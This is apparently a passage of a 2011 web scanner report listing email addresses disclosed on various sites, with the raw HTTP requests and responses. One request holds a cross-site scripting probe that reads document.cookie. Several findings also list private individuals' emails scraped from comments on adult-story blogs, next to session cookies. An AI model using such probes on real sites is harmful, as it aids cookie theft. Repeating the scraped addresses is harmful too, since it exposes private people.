Connection: close
Content-Type: text/html

<html><head><title>JSMIN, The JavaScript Minifier</title></head>
<body bgcolor=linen style="margin: 8%;">
<h1 align=center><tt>JSMin</tt></h1>
<h2 align=center>The JavaScript Minifier</h2>
<p align=ce
...[SNIP]...
<a href="mailto:douglas@crockford.com">
...[SNIP]...
<a href="mailto:douglas@crockford.com">
...[SNIP]...

25.28. http://jqueryui.com/about previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/about

Issue detail

The following email addresses were disclosed in the response:

contact@appendTo.com
contact@appendto.com
hello@filamentgroup.com

Request

GET /about HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:51:08 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 15111

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - About jQuery UI - The jQuery UI Team</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,
...[SNIP]...
<a href="mailto:contact@appendto.com">contact@appendTo.com</a>
...[SNIP]...
<a href="mailto:hello@filamentgroup.com">hello@filamentgroup.com</a>
...[SNIP]...

25.29. http://kambimagazine.blogspot.com/2007/08/malayalam-kambikathakal-kambi-kathakal.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://kambimagazine.blogspot.com
Path:	/2007/08/malayalam-kambikathakal-kambi-kathakal.html

Issue detail

The following email addresses were disclosed in the response:

acamanaf@yahoo.com
calicutsms@gmail.com
chinnu1000@gmail.com
dikkarkka@gmail.com
diyafathimath@gmail.com
fanseera326@gmail.com
jaseer.mohammed@gmail.com
kamadevan66@gmail.com
maanukkpm@gmail.com
me...plse...........manaf.thachu@yahoo.com
nishaldubai@gmail.com
soumya_rafeeq@yahoo.co.in
vijo94@gmail.com

Request

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Expires: Sat, 05 Feb 2011 21:51:16 GMT
Date: Sat, 05 Feb 2011 21:51:16 GMT
Last-Modified: Tue, 11 Jan 2011 13:26:46 GMT
ETag: "6c8a311c-9b00-4a8b-b767-d0554209862b"
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Cache-Control: public, max-age=0, must-revalidate, proxy-revalidate
Age: 0
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html dir='ltr'>
<head>
<meta content='text/html; charset=UTF-8' http-equiv='Content-Type'
...[SNIP]...
<p>
kotham nakkunna kadha ayachu tharumo pls kamadevan66@gmail.com
</p>
...[SNIP]...
<p>
Enikkishttamayi... Iniyum undenil enikkayachu tharika,,, vayikkan kothiyanu... Diya diyafathimath@gmail.com
</p>
...[SNIP]...
<p>
Enikkishttamayi... Iniyum undenil enikkayachu tharika,,, vayikkan kothiyanu... Diya diyafathimath@gmail.com
</p>
...[SNIP]...
<br />soumya_rafeeq@yahoo.co.in
</p>
...[SNIP]...
<br />acamanaf@yahoo.com
</p>
...[SNIP]...
<p>
i need some incest stories canu send me...plse...........manaf.thachu@yahoo.com
</p>
...[SNIP]...
<p>
plz send incest kathakal chinnu1000@gmail.com
</p>
...[SNIP]...
<br />jaseer.mohammed@gmail.com
</p>
...[SNIP]...
<p>
kambi kathakal vayikaan kothiyakunnu ayach tharooooooooooooooo maanukkpm@gmail.com
</p>
...[SNIP]...
<p>
send some to dikkarkka@gmail.com please...
</p>
...[SNIP]...
<p>
nice any girls intrsd in hot chat and calls please mail me vijo94@gmail.com, or add the same in Gtalk list...
</p>
...[SNIP]...
<br />contact: nishaldubai@gmail.com<br />
...[SNIP]...
<p>
pls sendme fanseera326@gmail.com
</p>
...[SNIP]...
<p>
pls sent kambikadhakal calicutsms@gmail.com
</p>
...[SNIP]...

25.30. http://lovely-faces.com/lib/js/ModalPopups.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/lib/js/ModalPopups.js

Issue detail

The following email address was disclosed in the response:

stolk_jan@hotmail.com

Request

GET /lib/js/ModalPopups.js HTTP/1.1
Host: lovely-faces.com
Proxy-Connection: keep-alive
Referer: http://lovely-faces.com/
Cache-Control: max-age=0
If-Modified-Since: Thu, 13 Jan 2011 21:38:18 GMT
Accept: */*
If-None-Match: "1c05cb6-8db3-499c122ce5739"
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.1.10.1296937294

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:22:03 GMT
Server: Apache
Last-Modified: Thu, 13 Jan 2011 21:38:18 GMT
ETag: "1c05cb6-8db3-499c122ce5739"
Accept-Ranges: bytes
Content-Length: 36275
Content-Type: application/x-javascript

.../****************************************************************
* *
* ModalPopups
...[SNIP]...
ight (c) 2008 Jan Stolk *
* *
* Website: http://www.modalpopups.com *
* E-Mail: stolk_jan@hotmail.com *
* *
* *
* This library is free software; y
...[SNIP]...

25.31. http://mallustories1.blogspot.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mallustories1.blogspot.com
Path:	/

Issue detail

The following email address was disclosed in the response:

pp5_pp5@yahoo.com

Request

GET / HTTP/1.1
Host: mallustories1.blogspot.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

25.32. http://mallustories1.blogspot.com/2008/11/malayalam-hot-stories.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mallustories1.blogspot.com
Path:	/2008/11/malayalam-hot-stories.html

Issue detail

The following email address was disclosed in the response:

pp5_pp5@yahoo.com

Request

GET /2008/11/malayalam-hot-stories.html HTTP/1.1
Host: mallustories1.blogspot.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

25.33. http://mallustories1.blogspot.com/2009/02/adhyanubavam.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mallustories1.blogspot.com
Path:	/2009/02/adhyanubavam.html

Issue detail

The following email address was disclosed in the response:

pp5_pp5@yahoo.com

Request

GET /2009/02/adhyanubavam.html HTTP/1.1
Host: mallustories1.blogspot.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

25.34. http://mir.aculo.us/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mir.aculo.us
Path:	/

Issue detail

The following email address was disclosed in the response:

thomas@fesch.at

Request

GET / HTTP/1.1
Host: mir.aculo.us
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

25.35. http://opensource.org/licenses/lgpl-license.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://opensource.org
Path:	/licenses/lgpl-license.php

Issue detail

The following email addresses were disclosed in the response:

osi@opensource.org
webmaster@opensource.org

Request

GET /licenses/lgpl-license.php HTTP/1.1
Host: opensource.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

25.36. http://opensource.org/licenses/mit-license.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://opensource.org
Path:	/licenses/mit-license.php

Issue detail

The following email addresses were disclosed in the response:

osi@opensource.org
webmaster@opensource.org

Request

GET /licenses/mit-license.php HTTP/1.1
Host: opensource.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:04:35 GMT
Server: Apache/2.2.17 (FreeBSD) mod_ssl/2.2.17 OpenSSL/0.9.8n DAV/2 SVN/1.6.15
Set-Cookie: SESSe6df14a6557d381f7820d30df9723b5b=3on1jju7fugormau6ahnchc406; expires=Tue, 01-Mar-2011 19:37:55 GMT; path=/; domain=.opensource.org
Last-Modified: Sun, 06 Feb 2011 16:04:35 GMT
ETag: "c1673a4245ecebf954ab2e909fb9e015"
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: must-revalidate
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20412

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<
...[SNIP]...
<a href="mailto:osi@opensource.org">
...[SNIP]...
<a href="mailto:webmaster@opensource.org">
...[SNIP]...

25.37. http://rmncdn.com/widget_cdn.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://rmncdn.com
Path:	/widget_cdn.html

Issue detail

The following email addresses were disclosed in the response:

enquiries@retailmenot.com
your@email.com

Request

Response

HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=604800, public
Content-Type: text/html
Date: Sat, 05 Feb 2011 22:27:39 GMT
ETag: "7806e-3b98-1eea0cc0+gzip"
Last-Modified: Mon, 22 Nov 2010 01:24:43 GMT
Server: ECS (dca/53F4)
Vary: Accept-Encoding
X-Cache: HIT
Content-Length: 15256

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<hea
...[SNIP]...
edistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:

- Specific prior written permission must be obtained from
enquiries@retailmenot.com

- Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS
...[SNIP]...
nt.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();

// $("a[href*=your@email.com]").click(function(){_gaq.push(['_trackPageview', '/G1/Email-Enquiry']);});

</script>
...[SNIP]...

25.38. http://rydex-sgi.com/equalweight/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://rydex-sgi.com
Path:	/equalweight/

Issue detail

The following email addresses were disclosed in the response:

amorales@sg-investors.com
csebastian@sg-investors.com
dkahler@sg-investors.com
email@sg-investors.com
lwang@sg-investors.com
spearce@rydexinvestments.com
thayward@sg-investors.com

Request

GET /equalweight/ HTTP/1.1
Host: rydex-sgi.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:05:08 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 28958
ETag: "782bfaae9a5cb1:a86"
Last-Modified: Mon, 27 Dec 2010 17:15:30 GMT
Content-Type: text/html

...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
<input name="mailTo" type="hidden" value="thayward@sg-investors.com;lwang@sg-investors.com;csebastian@sg-investors.com;amorales@sg-investors.com;dkahler@sg-investors.com;spearce@rydexinvestments.com" />
...[SNIP]...
<input name="mailFrom" type="hidden" value="email@sg-investors.com" />
...[SNIP]...

25.39. http://sans.org/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://sans.org
Path:	/

Issue detail

The following email address was disclosed in the response:

webmaster@sans.org

Request

GET / HTTP/1.1
Host: sans.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:52:22 GMT
Server: Apache
Connection: close
Content-Type: text/html
Content-Length: 23915

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<title>SANS: Computer Se
...[SNIP]...
<a href="mailto:webmaster@sans.org" title="Website Contact">
...[SNIP]...

25.40. http://shop.vodafone.de/scripts/jquery.cookie.pack.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://shop.vodafone.de
Path:	/scripts/jquery.cookie.pack.js

Issue detail

The following email address was disclosed in the response:

klaus.hartl@stilbuero.de

Request

GET /scripts/jquery.cookie.pack.js HTTP/1.1
Host: shop.vodafone.de
Proxy-Connection: keep-alive
Referer: http://shop.vodafone.de/micropages/cookie-setting-page.htm?B_ID=667&S_ID=770&I_BOOL=1&tsID=za1049301
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:05:27 GMT
Server: Apache
Last-Modified: Wed, 20 Jan 2010 09:14:31 GMT
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
P3P: CP="NOI DSP LAW CURa OUR NOR PUR COM NAV INT STA"
Content-Type: application/x-javascript
Content-Length: 6137

/**
* Cookie plugin
*
* Copyright (c) 2006 Klaus Hartl (stilbuero.de)
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.org/li
...[SNIP]...
kie will be set and the cookie transmission will
* require a secure protocol (like HTTPS).
* @type undefined
*
* @name $.cookie
* @cat Plugins/Cookie
* @author Klaus Hartl/klaus.hartl@stilbuero.de
*/
/**
* Get the value of a cookie with the given name.
*
* @example $.cookie('the_cookie');
* @desc Get the value of a cookie.
*
* @param String name The name of the cookie.
* @return The value of the cookie.
* @type String
*
* @name $.cookie
* @cat Plugins/Cookie
* @author Klaus Hartl/klaus.hartl@stilbuero.de
*/
jQuery.cookie = function(name, value, options) {
if (typeof value != 'undefined') { // name and value given, set cookie
options = options || {};
if (value === null) {

...[SNIP]...

25.41. http://shop.vodafone.de/scripts/vodafone.global.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://shop.vodafone.de
Path:	/scripts/vodafone.global.js

Issue detail

The following email addresses were disclosed in the response:

brandon.aaron@gmail.com
paul.bakaus@googlemail.com

Request

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:05:27 GMT
Server: Apache
Last-Modified: Tue, 01 Feb 2011 10:24:23 GMT
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
P3P: CP="NOI DSP LAW CURa OUR NOR PUR COM NAV INT STA"
Content-Type: application/x-javascript
Content-Length: 75841

/*// CONTENT CLASS: JS Vodafone Global All - (vodafone.global.js)// PAGENAME: JS Vodafone Global All (vodafone.global.js)// PAGEID: 167035// FILENAME: vodafone.global.js// PATH: /scripts/vodafone.glob
...[SNIP]...
var r=/(%[^%]{2})/;
while((m=r.exec(o))!=null && m.length>1 && m[1]!=''){b=parseInt(m[1].substr(1),16);
t=String.fromCharCode(b);o=o.replace(m[1],t);}return o;}
});

/* Copyright (c) 2007 Paul Bakaus (paul.bakaus@googlemail.com) and Brandon Aaron (brandon.aaron@gmail.com || http://brandonaaron.net)
* Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)
* and GPL (http://www.opensource.org/licenses/gpl-license.php) licenses.
*
* $LastCha
...[SNIP]...

25.42. http://slashdot.org/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://slashdot.org
Path:	/

Issue detail

The following email address was disclosed in the response:

feedback@slashdot.org

Request

GET / HTTP/1.1
Host: slashdot.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache/1.3.42 (Unix) mod_perl/1.31
SLASH_LOG_DATA: shtml
X-Powered-By: Slash 2.005001
X-Fry: I'm not a robot like you -- I don't like having disks crammed into me. Unless they're Oreos. And then only in the mouth.
X-XRDS-Location: http://slashdot.org/slashdot.xrds
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Content-Length: 90528
Date: Sat, 05 Feb 2011 22:59:15 GMT
X-Varnish: 968454368 968453615
Age: 58
Connection: close

<!DOCTYPE html>
<html lang="en">
<head>
<script id="before-content" type="text/javascript">
var pageload = {
pagemark: '758239964202071719',
before_content: (new Date).getTime()
};
function pageload
...[SNIP]...
<a href="mailto:feedback@slashdot.org" class="btn link opt">
...[SNIP]...

25.43. http://slashdot.org/submit.pl previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://slashdot.org
Path:	/submit.pl

Issue detail

The following email addresses were disclosed in the response:

feedback@slashdot.org
help@slashdot.org

Request

GET /submit.pl HTTP/1.1
Host: slashdot.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Server: Apache/1.3.42 (Unix) mod_perl/1.31
X-Powered-By: Slash 2.005001
X-Bender: I've gone too far! Who does that guy think I am?
X-XRDS-Location: http://slashdot.org/slashdot.xrds
Location: http://slashdot.org/submission
Content-Type: text/html; charset=utf-8
Content-Length: 24603
Date: Sun, 06 Feb 2011 16:01:42 GMT
X-Varnish: 1625234284
Age: 0
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">

<html><head><title>302 Moved</title></head><body>
<p>You really want to be on <a href="http://slashdot.org/submission">http://slashdot.org/subm
...[SNIP]...
<a href="mailto:feedback@slashdot.org" class="btn link opt">
...[SNIP]...
<img src="//images.slashdot.org/hc/68/34c260c87822.jpg" width=137 height=65 border=0 alt="verification text - if you can't read this, please email us at help@slashdot.org">
...[SNIP]...

25.44. http://sourceforge.net/projects/winscp/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://sourceforge.net
Path:	/projects/winscp/

Issue detail

The following email addresses were disclosed in the response:

pdfcreator@sf.net
winscp@sf.net

Request

GET /projects/winscp/ HTTP/1.1
Host: sourceforge.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.63
Date: Sat, 05 Feb 2011 21:52:38 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: VISITOR=4d4dc6a686502b08e5002af6; expires="Tue, 02-Feb-2021 21:52:38 GMT"; httponly; Max-Age=315360000; Path=/
Set-cookie: sf.consume=5190f10be680cb56d4527eb2d26de8365965b754gAJ9cQEoVQhfZXhwaXJlc3ECY2RhdGV0aW1lCmRhdGV0aW1lCnEDVQoH9gETAw4HAAAAhVJxBFUFcHJlZnNxBX1xBlUOdXNlc19yZWxhdGlvbnNxB4lVB3ZlcnNpb25xCFUBMlUDa2V5cQlVGDRkNGRjNmE2ODY1MDJiMDhlNTAwMmFmNnEKVQNfaWRxC1UgNTBjMjE5NGVmYTczZjQxODJlZjljZTAxY2U2OGEzZTJxDFUOX2FjY2Vzc2VkX3RpbWVxDUdB01NxqafBDVUOX2NyZWF0aW9uX3RpbWVxDkdB01NxqafAWXUu; expires=Tue, 19-Jan-2038 03:14:07 GMT; Path=/
Content-Length: 44035
Access-Control-Allow-Origin: *

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xht
...[SNIP]...
<img alt="WinSCP Icon" src="http://a.fsdn.com/con/icons/wi/winscp@sf.net/NoDitheringAtAllThisTime.gif" height="48" width="48"/>
...[SNIP]...
<img alt="PDFCreator icon" src="http://a.fsdn.com/con/icons/pd/pdfcreator@sf.net/pdfforge_flamme.png"/>
...[SNIP]...

25.45. http://splunkbase.splunk.com/apps/All/4.x/App/app:PCI+App+-+Creative+Commons+Version previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://splunkbase.splunk.com
Path:	/apps/All/4.x/App/app:PCI+App+-+Creative+Commons+Version

Issue detail

The following email address was disclosed in the response:

splunk.ronin@binaryarp.com

Request

GET /apps/All/4.x/App/app:PCI+App+-+Creative+Commons+Version HTTP/1.1
Host: splunkbase.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Apache=173.193.214.243.1296942930878168; ssoj=1; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=962720tkf55lv04kpjb1vmi5u6; sso=173.193.214.243.1296942930878168; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmb=204527314.1.10.1296942566;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:00:17 GMT
Server: Apache/2.2.8 (EL)
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 21444

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<!-- web5
...[SNIP]...
<p>If you have any feature requests for this app, please email splunk.ronin@binaryarp.com or visit <a class="extlink" href="http://www.binaryarp.com">
...[SNIP]...

25.46. http://static.forexyard.com/class/modules/ajax/AjaxRequest.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://static.forexyard.com
Path:	/class/modules/ajax/AjaxRequest.js

Issue detail

The following email address was disclosed in the response:

matt@ajaxtoolbox.com

Request

GET /class/modules/ajax/AjaxRequest.js HTTP/1.1
Host: static.forexyard.com
Proxy-Connection: keep-alive
Referer: http://quotes.forexyard.com/iframe5.php?css=http://www.forexyard.com/en/css/quotes-chart.css&img_prefix=35_30min&pairs=EURUSD,USDJPY,AUDUSD,USDCAD,GBPUSD,USDCHF&zone_id=4129
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:26:26 GMT
Server: Apache
Last-Modified: Tue, 19 Dec 2006 13:25:18 GMT
ETag: "18c21a1-2172-424f5077c0b80"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Type: application/javascript
Cache-Control: private, max-age=1800
Age: 0
Expires: Sun, 06 Feb 2011 16:56:26 GMT
Connection: Keep-Alive
Content-Length: 8562

// ===================================================================
// Author: Matt Kruse <matt@ajaxtoolbox.com>
// WWW: http://www.AjaxToolbox.com/
//
// NOTICE: You may use this code for any purp
...[SNIP]...

25.47. http://tipd.com/modules/jquery/js/jquery.cookie.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tipd.com
Path:	/modules/jquery/js/jquery.cookie.js

Issue detail

The following email address was disclosed in the response:

klaus.hartl@stilbuero.de

Request

GET /modules/jquery/js/jquery.cookie.js HTTP/1.1
Host: tipd.com
Proxy-Connection: keep-alive
Referer: http://tipd.com/?6785a%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eea5c679a90c=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=cbq534lmtht3c9is84ch86alh1; swcms_messages=a%3A1%3A%7Bi%3A1%3Ba%3A1%3A%7Bs%3A4%3A%5C%22time%5C%22%3Bi%3A1296999543%3B%7D%7D

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 13:39:10 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Tue, 26 Jan 2010 00:50:55 GMT
ETag: "7838006-1096-ada4b9c0"
Accept-Ranges: bytes
Content-Length: 4246
Connection: close
Content-Type: application/x-javascript

/**
* Cookie plugin
*
* Copyright (c) 2006 Klaus Hartl (stilbuero.de)
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.org/li
...[SNIP]...
kie will be set and the cookie transmission will
* require a secure protocol (like HTTPS).
* @type undefined
*
* @name $.cookie
* @cat Plugins/Cookie
* @author Klaus Hartl/klaus.hartl@stilbuero.de
*/

/**
* Get the value of a cookie with the given name.
*
* @example $.cookie('the_cookie');
* @desc Get the value of a cookie.
*
* @param String name The name of the cookie.
* @return The value of the cookie.
* @type String
*
* @name $.cookie
* @cat Plugins/Cookie
* @author Klaus Hartl/klaus.hartl@stilbuero.de
*/
jQuery.cookie = function(name, value, options) {
if (typeof value != 'undefined') { // name and value given, set cookie
options = options || {};
if (value === null) {

...[SNIP]...

25.48. http://tools.ietf.org/html/rfc3986 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tools.ietf.org
Path:	/html/rfc3986

Issue detail

The following email addresses were disclosed in the response:

Joe@Example.COM
Joe@example.com
John.Doe@example.com
LMM@acm.org
fielding@gbiv.com
fred@example.com
timbl@w3.org

Request

GET /html/rfc3986 HTTP/1.1
Host: tools.ietf.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:41:46 GMT
Server: Apache/2.2.16 (Debian)
Content-Location: rfc3986.html
Vary: negotiate,Accept-Encoding
TCN: choice
Last-Modified: Sat, 08 Jan 2011 03:01:58 GMT
ETag: "ea72cc-2b493-4994cf53fb580;49b90b306b600"
Accept-Ranges: bytes
Content-Length: 177299
Connection: close
Content-Type: text/html; charset=latin-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head pr
...[SNIP]...
</a>

ldap://[2001:db8::7]/c=GB?objectClass?one

mailto:John.Doe@example.com

news:comp.infosystems.www.servers.unix

tel:+1-816-555-1212

telnet://192.0.2.16:80/

urn:oasis:names:specification:docbook:dtd:xml:4.1.2

<span class="h4">
...[SNIP]...
may be empty (zero length). Use of the slash character
to indicate hierarchy is only required when a URI will be used as the
context for relative references. For example, the URI
<mailto:fred@example.com> has a path of "fred@example.com", whereas
the URI <foo://info.example.com?fred> has an empty path.

The path segments "." and "..", also known as dot-segments, are
defined for relative reference within the path name h
...[SNIP]...
e a subcomponent of path to contain an
Internet hostname, such as the "mailto" URI scheme, cause that
subcomponent to be case-insensitive and thus subject to case
normalization (e.g., "mailto:Joe@Example.COM" is equivalent to
"mailto:Joe@example.com", even though the generic syntax considers
the path component to be case-sensitive).

Other scheme-specific normalizations are possible.

<span class="h4">
...[SNIP]...
rners-Lee
World Wide Web Consortium
Massachusetts Institute of Technology
77 Massachusetts Avenue
Cambridge, MA 02139
USA

Phone: +1-617-253-5702
Fax: +1-617-258-5999
EMail: timbl@w3.org
URI: <a href="http://www.w3.org/People/Berners-Lee/">
...[SNIP]...
</a>

Roy T. Fielding
Day Software
5251 California Ave., Suite 110
Irvine, CA 92617
USA

Phone: +1-949-679-2960
Fax: +1-949-679-2972
EMail: fielding@gbiv.com
URI: <a href="http://roy.gbiv.com/">
...[SNIP]...
</a>

Larry Masinter
Adobe Systems Incorporated
345 Park Ave
San Jose, CA 95110
USA

